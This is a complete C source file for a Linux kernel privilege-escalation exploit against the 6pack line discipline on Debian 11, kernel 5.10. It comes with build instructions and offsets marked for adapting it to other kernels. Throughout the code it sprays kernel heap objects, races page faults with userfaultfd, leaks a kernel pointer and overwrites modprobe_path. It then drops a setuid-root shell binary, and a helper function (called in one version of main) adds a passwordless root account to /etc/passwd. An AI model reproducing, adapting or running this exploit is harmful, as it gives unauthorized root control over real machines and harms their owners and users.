// Exploit is designed and tested for Debian 11, kernel 5.10.0-8-amd64
// gcc -o exploit 6pack_exploit.c -s -lpthread
#define _GNU_SOURCE

#include <endian.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <poll.h>
#include <pthread.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <stdbool.h>

//#define DEBUG 1
#ifdef DEBUG
#define debug_printf(...) printf(__VA_ARGS__)
#else
#define debug_printf(...) do {} while (0)
#endif

#define N_6PACK 7
#define PAGE_SIZE 0x1000
#define LEAK_PAYLOAD_SIZE 576
#define WRITE_PAYLOAD_SIZE 592
#define N_THREADS 8
#define N_MSG 6
#define INIT_IPC_NS 0x5980                  // change it !!!!!    ffffffff82a25980 D init_ipc_ns
#define init_ipc_ns_offset 0x1a25980        // change it !!!!! 
#define modprobe_path_offset  0x186dee0     // change it !!!!!    ffffffff810d17e0 T __request_module    0xffffffff8286dee0 <modprobe_path>:	"/sbin/modprobe"

static int ufd_qid;
static int qid_A[N_MSG]     = {0};
static int qid_B[N_MSG]     = {0};
static pthread_t tid[20]    = {0};
static int shmid[0x100]     = {0};
static void *shmaddr[0x100] = {0};
static int ufd[10]          = {0};
static void *pages[] = {
    (void *)0x1110000, (void *)0x2220000,
    (void *)0x3330000, (void *)0x4440000,
    (void *)0x5550000, (void *)0x6660000,
    (void *)0x7770000, (void *)0x8880000
};

uint8_t buff[PAGE_SIZE]  = {0};
uint8_t buff2[PAGE_SIZE] = {0};

uint64_t init_ipc_ns   = 0;
uint64_t modprobe_path = 0;
uint64_t leaked_queue  = 0;
int valid_qid = -1;
bool release_pfh = false;

struct pfh_args
{
    int id;
    int ufd;
    void *page;
};

struct t_args
{
    int id;
    int qid;
    void *page;
};

void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}

void hexdump(uint8_t *buff, size_t size)
{
    int i,j;
    for (i = 0; i < size/8; i++)
    {
        if ((i % 2) == 0)
        {
            if (i != 0)
                printf("  \n");
            printf("  %04x  ", i*8);
        }
        printf("0x%016lx", ((uint64_t *)(buff))[i]);
        printf("    ");
    }
    putchar('\n');
}

void print_affinity()
{
    cpu_set_t mask;
    long ncpu, i;

    if (sched_getaffinity(getpid(), sizeof(cpu_set_t), &mask) < 0)
    {
        perror("[X] sched_getaffinity()");
        exit(1);
    }

    ncpu = sysconf(_SC_NPROCESSORS_ONLN);
    puts("[*] CPU affinity:");

    for (i = 0; i < ncpu; i++)
        printf(" └ Core #%d = %d\n", i, CPU_ISSET(i, &mask));
}

void assign_to_core(int core_id)
{
    /*
    if (unshare(CLONE_NEWUSER) < 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        return -1;
    }
    if (unshare(CLONE_NEWNET) < 0) {
        perror("[-] unshare(CLONE_NEWNET)");
        return -1;
    }*/
    cpu_set_t mask;
    pid_t pid;
    pid = getpid();

    printf("[*] Assigning process %d to core %d\n", pid, core_id);

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);
    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
    print_affinity();
}
// prepare modprobe file
void prepare_exploit()
{
    system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/asd");
    system("chmod +x /tmp/asd");
    system("echo '#!/bin/sh' > /tmp/x");
    system("echo 'chmod +s /bin/su' >> /tmp/x"); // Needed for busybox, just in case
    system("echo 'echo \"pwn::0:0:pwn:/root:/bin/sh\" >> /etc/passwd' >> /tmp/x");
    system("chmod +x /tmp/x");

    memcpy(buff2 + 0xfc8, "/tmp/x\00", 7); //  8+0xfc8 = 0xfd0  to change modprobe_path
}

int setup_modprobe_hax() {
    // small ELF file matroshka doll that does;
    //   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
    //   write(fd, elfcode, elfcode_len)
    //   chmod("/tmp/sh", 04755)
    //   close(fd);
    //   exit(0);
    //
    // the dropped ELF simply does:
    //   setuid(0);
    //   setgid(0);
    //   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
    unsigned char elfcode[] = {
        0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
        0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
        0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
        0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
        0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
        0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
        0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
        0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
        0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
        0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
        0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    };

    FILE *fp;

    system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/asd");
    system("chmod +x /tmp/asd");
    /*
    fp = fopen("/tmp/asd", "wb");
    if (fp == NULL) {
        perror("fopen");
        return -1;
    }

    if (fwrite("\xff\xff\xff\xff", 4, 1, fp) < 1) {
        perror("fwrite");
        return -1;
    }
    fclose(fp); 
    
    if (chmod("/tmp/asd", 0777) < 0) {
        perror("chmod");
        return -1;
    }
    */

    fp = fopen("/tmp/x", "wb");
    if (fp == NULL) {
        perror("fopen");
        return -1;
    }

    if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
        perror("fwrite");
        return -1;
    }
    fclose(fp);

    system("chmod +x /tmp/x");
    /*
    if (chmod("/tmp/x", 0777) < 0) {
        perror("chmod");
        return -1;
    }
    */
    memcpy(buff2 + 0xfc8, "/tmp/x\00", 7); //  8+0xfc8 = 0xfd0  to change modprobe_path
    return 0;
}

int userfaultfd(int flags)
{
    return syscall(SYS_userfaultfd, flags);
}

int initialize_ufd(void *page)
{
    int fd;
    struct uffdio_register reg;

    if ((fd = userfaultfd(O_NONBLOCK)) == -1)
    {
        perror("[X] Userfaultfd failed");
        exit(1);
    }

    if ((ufd_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("[X] msgget");
        exit(1);
    }

    struct uffdio_api api = { .api = UFFD_API };
    if (ioctl(fd, UFFDIO_API, &api))
    {
        perror("[X] ioctl - UFFDIO_API failed");
        exit(1);
    }

    if (api.api != UFFD_API)
    {
        puts("[X] Unexpected UFFD api version!");
        exit(1);
    }

    debug_printf("[*] Start monitoring range: %p - %p\n", page + PAGE_SIZE, page + PAGE_SIZE*2);

    reg.mode = UFFDIO_REGISTER_MODE_MISSING;
    reg.range.start = (long)(page + PAGE_SIZE);
    reg.range.len = PAGE_SIZE;

    if (ioctl(fd, UFFDIO_REGISTER,  &reg))
    {
        perror("[X] ioctl - UFFDIO_REGISTER failed");
        exit(1);
    }

    return fd;
}
// page_fault_handler() —— copy fake modprobe_path string to faultpage
void *page_fault_handler(void *arg)
{
    struct pollfd pollfd;
    struct uffd_msg fault_msg;
    struct uffdio_copy ufd_copy;
    struct uffdio_range ufd_range;

    pid_t pid;
    int ufd = ((struct pfh_args *)arg)->ufd;
    int id = ((struct pfh_args *)arg)->id + 1;
    void *page = ((struct pfh_args *)arg)->page;

    pollfd.fd = ufd;
    pollfd.events = POLLIN;

    debug_printf("[PFH %d] Started!\n", id);

    while (poll(&pollfd, 1, -1) > 0)
    {
        if ((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP))
        {
            perror("[X] Polling failed");
            exit(1);
        }

        if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg))
        {
            perror("[X] Read - fault_msg failed");
            exit(1);
        }

        char *page_fault_location = (char *)fault_msg.arg.pagefault.address;

        if (fault_msg.event != UFFD_EVENT_PAGEFAULT)
        {
            perror("[X] Unexpected pagefault?");
            exit(1);
        }

        if (page_fault_location == page + PAGE_SIZE)
        {
            debug_printf("[PFH %d] Page fault at 0x%lx\n", id, page_fault_location);

            for (;;)
            {
                if (!release_pfh)
                    continue;

                debug_printf("[PFH %d] Releasing faulting thread\n", id);

                ufd_copy.dst = (uint64_t)(page_fault_location);
                ufd_copy.src = (uint64_t)(&buff2);              // copy buff2 to the fault_page, buff2 contains fake modprobe_path string, to change modeprobe_path
                ufd_copy.len = PAGE_SIZE;
                ufd_copy.mode = 0;
                ufd_copy.copy = 0;

                if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
                {
                    perror("[X] ioctl(UFFDIO_COPY)");
                    exit(1);
                }
                break;
            }

            debug_printf("[PFH %d] Faulting thread released\n", id);
            break;
        }
    }
}
// create faultpage handler
void create_pfh_thread(int id, int ufd, void *page)
{
    struct pfh_args *args = (struct pfh_args *)malloc(sizeof(struct pfh_args));

    args->id = id;
    args->ufd = ufd;
    args->page = page;

    pthread_create(&tid[id], NULL, page_fault_handler, (void *)args);
}
// alloc_shm() —— spray 100 shm_file_data in kmalloc-32
void alloc_shm(int i)
{
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);

    if (shmid[i]  < 0)
    {
        perror("[X] shmget fail");
        exit(1);
    }

    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);

    if (shmaddr[i] < 0)
    {
        perror("[X] shmat");
        exit(1);
    }
}

void destroy_shm(int i)
{
    shmdt(shmaddr[i]);
    shmctl(shmid[i], IPC_RMID, NULL);
}

void alloc_msg_queue_A(int id)
{
    if ((qid_A[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("[X] msgget");
        exit(1);
    }
}
// spray 6 msg_msg in kmalloc-4k and 6 msg_msgseg in kmalloc-32
void send_msg(int qid, int size, int type, int c)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size];
    } msg;

    msg.mtype = type;
    memset(msg.mtext, c, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
    {
        perror("[X] msgsnd");
        exit(1);
    }
}

void *recv_msg(int qid, size_t size, int type)
{
    void *memdump = malloc(size);

    if (msgrcv(qid, memdump, size, type, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) < 0)
    {
        perror("[X] msgrcv");
        return NULL;
    }

    return memdump;
}

int open_ptmx(void)
{
    int ptmx;
    ptmx = getpt();

    if (ptmx < 0)
    {
        perror("[X] open_ptmx()");
        exit(1);
    }

    grantpt(ptmx);
    unlockpt(ptmx);

    return ptmx;
}

int open_pts(int fd)
{
    int pts;
    pts = open(ptsname(fd), 0, 0);

    if (pts < 0)
    {
        perror("[X] open_pts()");
        exit(1);
    }

    return pts;
}

void set_line_discipline(int fd, int ldisc)
{
    if (ioctl(fd, TIOCSETD, &ldisc) < 0)
    {
        perror("[X] ioctl() TIOCSETD");
        exit(1);
    }
}

int init_sixpack()
{
    int ptmx, pts;

    ptmx = open_ptmx();
    pts = open_pts(ptmx);

    set_line_discipline(pts, N_6PACK);

    return ptmx;
}

uint8_t *sixpack_encode(uint8_t *src)
{
    uint8_t *dest = (uint8_t *)calloc(1, 0x3000);
    uint32_t raw_count = 2;

    for (int count = 0; count <= PAGE_SIZE; count++)
    {
        if ((count % 3) == 0)
        {
            dest[raw_count++] = (src[count] & 0x3f);
            dest[raw_count] = ((src[count] >> 2) & 0x30);
        }
        else if ((count % 3) == 1)
        {
            dest[raw_count++] |= (src[count] & 0x0f);
            dest[raw_count] =	((src[count] >> 2) & 0x3c);
        }
        else
        {
            dest[raw_count++] |= (src[count] & 0x03);
            dest[raw_count++] = (src[count] >> 2);
        }
    }

    return dest;
}
// generate_payload() —— construct payload and encode it
uint8_t *generate_payload(uint64_t target)
{
    uint8_t *encoded;
    memset(buff, 0, PAGE_SIZE);

    // sp->rx_count_cooked = 0x696
    buff[0x194] = 0x90;
    buff[0x19a] = 0x06;

    // fix upper two bytes of msg_msg.m_list.prev
    buff[0x19b] = 0xff;
    buff[0x19c] = 0xff;

    // msg_msg.m_ts = 0x1100      0x19c + 0x8(long m_type) + 2 = 0x1a6
    buff[0x1a6] = 0x11;

    // msg_msg.next = target
    if (target)
    {
        for (int i = 0; i < sizeof(uint64_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    encoded = sixpack_encode(buff);

    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

int find_message_queue(uint16_t tag)
{
    switch (tag)
    {
        case 0x4141: return 0;
        case 0x4242: return 1;
        case 0x4343: return 2;
        case 0x4444: return 3;
        case 0x4545: return 4;
        case 0x4646: return 5;

        default: return -1;
    }
}
// leak init_ipc_ns address and calculate modprobe_path address
void leak_pointer(void)
{
    uint64_t *leak;

    for (int id = 0; id < N_MSG; id ++)
    {
        leak = (uint64_t *)recv_msg(qid_A[id], 0x1100, 0);

        if (leak == NULL)
            continue;

        for (int i = 0; i < 0x220; i++)
        {
            if ((leak[i] & 0xffff) == INIT_IPC_NS)
            {
                init_ipc_ns = leak[i];
                valid_qid = find_message_queue((uint16_t)leak[1]);
                modprobe_path = init_ipc_ns - init_ipc_ns_offset + modprobe_path_offset;                 
                return;
            }
        }
    }
}

void alloc_msg_queue_B(int id)
{
    if ((qid_B[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("[X] msgget");
        exit(1);
    }
}

void *allocate_msg(void *arg)
{
    int id = ((struct t_args *)arg)->id;
    void *page = ((struct t_args *)arg)->page;

    debug_printf("[Thread %d] Message buffer allocated at 0x%lx\n", id + 1, page + PAGE_SIZE - 0x10);
    alloc_msg_queue_B(id);

    memset(page, 0, PAGE_SIZE);
    ((uint64_t *)(page))[0xff0 / 8] = 1; // msg_msg.m_type = 1

    if (msgsnd(qid_B[id], page + PAGE_SIZE - 0x10, 0x1018, 0) < 0)
    {
        perror("[X] msgsnd");
        exit(1);
    }

    debug_printf("[Thread %d] Message sent!\n", id + 1);
}
// create_message_thread() —— spray 8 msg_msg and msg_msgseg, which hangs at copy_from_user(), to change modprobe_path
void create_message_thread(int id, void *page)
{
    struct t_args *args = (struct t_args *)malloc(sizeof(struct t_args));

    args->id = id;
    args->page = page;

    pthread_create(&tid[id + 2], NULL, allocate_msg, (void *)args);
}

void close_queue(int qid)
{
    if (msgctl(qid, IPC_RMID, NULL) < 0)
    {
        perror("[X] msgctl()");
        exit(1);
    }
}

void waitfor(int n, char *msg)
{
    char *symbols[] = { "\\", "|" , "/", "-", NULL };

    for (int i = 0; i < n; i++)
    {
        printf("\r[%s] %s", symbols[i % 4], msg);
        fflush(stdout);
        sleep(1);
    }

    puts("\r[+] Timer should be expired           ");
    fflush(stdout);
}

int main()
{
    int ptmx;
    uint8_t *payload;
// 0. initialize
// 0-1. run on core0 and prepare modprobe file
    assign_to_core(0);
    // prepare_exploit();
    setup_modprobe_hax();
    memcpy(buff2 + 0xfc8, "/tmp/x\00", 7);
// 0-2. prepare userfaultfd
    for (int i = 0; i < N_THREADS; i++)
    {
        mmap(pages[i], PAGE_SIZE*3, PROT_READ|PROT_WRITE,
            MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        ufd[i] = initialize_ufd(pages[i]);
    }
// 0-3. prepare faultpage handler threads: copy fake modprobe_path string to faultpage
    for (int i = 0; i < N_THREADS; i++)
        create_pfh_thread(i, ufd[i], pages[i]);
// 1. construct memory layout
// 1-1. spray 100 shm_file_data in kmalloc-32
    puts("[*] Spraying shm_file_data in kmalloc-32...");
    for (int i = 0; i < 100; i++)
        alloc_shm(shmid[i]);
// 1-2. spray 6 msg_msg in kmalloc-4k and 6 msg_msgseg in kmalloc-32
    puts("[*] Spraying messages in kmalloc-4k...");
    for (int i = 0; i < N_MSG; i++)
        alloc_msg_queue_A(i);

    for (int i = 0; i < N_MSG; i++)
        send_msg(qid_A[i], 0xfd0+0x18, 1, 'A' + i);
// 1-3. free a msg_msg chunk for sixpack
    recv_msg(qid_A[0], 0x1018, 0);
// 2. leak kernel address
// 2-1. construct payload and encode it, trigger the vulnerability
    ptmx = init_sixpack();
    payload = generate_payload(0);
    write(ptmx, payload, LEAK_PAYLOAD_SIZE);
// 2-2. leak init_ipc_ns address and calculate modprobe_path address
    puts("[*] Leaking pointers...");
    leak_pointer();

    if (!modprobe_path)
    {
        puts("[X] Leak failed, try again!");
        goto end;
    }
// 2-3. free the corrupted msg_msg, to be taken up by new msg_msg 
    close_queue(qid_A[valid_qid]);

    printf("[+] init_ipc_ns: 0x%lx\n", init_ipc_ns);
    printf("[+] modprobe_path: 0x%lx\n", modprobe_path);
// 3. change modprobe_path to "/tmp/x"
// 3-1. spray 8 msg_msg and msg_msgseg, which hangs at copy_from_user(), to change modprobe_path
    payload = generate_payload(modprobe_path - 0x8);

    for (int i = 0; i < N_THREADS; i++)
        create_message_thread(i, pages[i]);
// 3-2. wait sixpack struct to be reset
    waitfor(6, "Waiting for resync_tnc callback...");
// 3-3. trigger the vulnerability again to change msg_msg->next
    puts("[*] Overwriting modprobe_path...");
    write(ptmx, payload, WRITE_PAYLOAD_SIZE);

    sleep(1);
// 3-4. open the barrier and change modprobe_path
    release_pfh = true;

    for (int i = 0; i < N_THREADS; i++)
        pthread_join(tid[i + 2], NULL);

    for (int i = 0; i < N_THREADS; i++)
        munmap(pages[i], PAGE_SIZE*3);

    release_pfh = false;
// 4. trigger modprobe
    system("/tmp/asd");     // "/tmp/asd 2>/dev/null"
    // test if we get root
    sleep(2);
    system("/tmp/sh");

    if (!getpwnam("pwn"))   // return passwd struct that matches the username.  
    {
        puts("[X] Exploit failed, try again...");
        goto end;
    }

    puts("[+] We are root!");
    system("rm /tmp/asd && rm /tmp/x");
    system("su pwn");

    end:
        puts("[*] Cleaning up...");

        for (int i = 0; i < N_MSG; i++)
        {
            if (modprobe_path && (i == valid_qid))
                continue;

            close_queue(qid_A[i]);
        }

        for (int i = 0; i < 100; i++)
            destroy_shm(i);

        return 0;
}

/*
(1) 查看结构 sixpack->cooked_buf 距离下一个chunk的距离
(1-1) 原环境
net_device size: 0x940
sixpack size: 0x270
sixpack->cooked_buf offset: 0x1000 - 0x940 - (0x696-8-6) = 0x38

sixpack->cooked_buf to msg_msg->m_list->prev: 0x696
msg_msg->m_list->prev 后两字节: 8+6

(1-2) 新环境
$ print sizeof(struct net_device)
$ p/x &(*(struct sixpack*)0)->cooked_buf


*/